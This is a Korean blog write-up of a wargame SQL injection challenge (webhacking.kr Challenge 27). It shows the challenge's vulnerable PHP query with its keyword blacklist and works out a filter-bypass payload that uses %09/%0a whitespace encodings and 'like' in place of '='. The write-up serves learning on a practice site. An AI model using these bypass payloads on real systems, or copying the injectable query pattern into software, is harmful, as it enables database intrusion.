반응형
https://webhacking.kr/challenge/web-12/
Challenge 27
webhacking.kr
[문제]
[풀이]
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>
소스코드를 보면 preg_match로 필터링이 되고
쿼리문이 있다.
쿼리문을 돌렸을 때 id가 admin이 된다면 문제가 풀린다.
일단 필터링 되는 부분은 띄워쓰기, (, = 정도였다.
id='guest' and no=(1)
위 쿼리로 guest가 출력된다.
소스코드에는 주석처리로 admin no가 2라고 한다.
no가 2인 컬럼을 찾으면 될 것 같다.
id='guest' and no=(2) or id='admin'-- )
처음으로 생각한 코드는 위 코드였다.
우회해가며 시도해봤지만 안되는 걸 확인했다.
생각해보니 id가 admin이라 장담할 수 없는 것 같아서 주석처리 되어있는 no = 2를 이용하기로 했다.
id='guest' and no=(2) or no=2-- )
위 코드에서 필터링을 우회하여 코드를 작성한다.
id='guest' and no=(2)%09or%09no%09like%092--%09)
위처럼 띄워쓰기는 tab의 urlencode %09로 치환, =을 like로 치환하였다.
2)%0aor%0ano%0alike%0a2--%09
url에 넣어 제출하면
문제가 풀린다.
반응형